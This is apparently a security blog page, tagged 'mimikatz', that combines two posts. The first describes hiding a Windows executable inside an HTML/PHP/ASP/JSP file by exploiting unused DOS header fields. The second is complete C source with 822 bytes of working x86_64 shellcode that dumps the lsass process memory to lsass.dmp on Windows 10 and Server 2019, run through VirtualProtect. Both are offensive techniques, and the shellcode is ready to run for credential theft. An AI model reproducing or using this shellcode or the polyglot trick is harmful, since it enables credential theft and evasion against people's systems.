mimikatz

Hacking the World with HTML

In my previous article Exploring the MS-DOS Stub I stated that after experimenting, the Windows loader only cares about the e_magic and the e_lfanew members from the _IMAGE_DOS_HEADER. Because the rest of the members of the DOS header is used by MS-DOS to execute the stub program. Check it out if you have not.

If you take a PE file and null out the MS-DOS header and the MS-DOS stub program leaving out the e_magic and the e_lfanew values, the PE will still work fine as the rest is not needed by the Windows PE loader. The e_lfanew address at offset 0x3c is important as it points to the beginning of the _IMAGE_NT_HEADERS structure which is the actual start of the PE file.

Since those values are not important we can insert an HTML comment from offset 0x2 which is the e_cblp value and begin an HTML comment and end the comment at the end of the PE and append our HTML/PHP/ASP/JSP file contents.

I wrote a simple program in C to automate this task. You can provide your PE file and the HTML/PHP/ASP/JSP file to inject and it will generate an HTML file. You can rename the file into the extension you desire.
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Shellcode to Dump the Lsass Process

Here’s the shellcode I wrote for curiosity and ended up working nicely 🙂

This shellcode is for Windows 10 and Server 2019 x86_64.

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#include <stdio.h>
#include <string.h>
#include <windows.h>
/*
* Title: Shellcode to dump the lsass process
* Works only on Windows 10 and Windows Server 2019
* Arch: x86_64
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: https://osandamalith.com
* Date: 11/05/2019
*/
  
int main() {
 
unsigned char shellcode[822] = {
0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74,
0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,
0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85,
0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C,
0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F,
0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F,
0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1,
0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48,
0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A,
0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48,
0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3,
0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74,
0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B,
0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1,
0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,
0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F,
0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00,
0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6,
0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65,
0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44,
0x24, 0x70, 0x64, 0x62, 0x67, 0x63, 0xC7, 0x44, 0x24, 0x74, 0x6F, 0x72, 0x65, 0x2E, 0xC7, 0x44,
0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44,
0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24,
0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44,
0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44,
0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00,
0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7,
0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80,
0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0,
0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE,
0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9,
0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D,
0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B,
0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x3D, 0xD7, 0xC8, 0x6E, 0x48, 0x89, 0x85, 0x30, 0x01,
0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90,
0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14,
0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24,
0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28,
0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2,
0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0,
0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33,
0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF,
0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44,
0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41,
0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00,
0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C,
0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89,
0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01,
0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC,
0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF,
0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3
};
    
    DWORD oldProtect;
    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
  
    if (!ret) {
        fprintf(stderr, "%s", "Error Occured");
        return EXIT_FAILURE;
    }
  
    ((void(*)(void))shellcode)();
  
    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
  
    return EXIT_SUCCESS;
}

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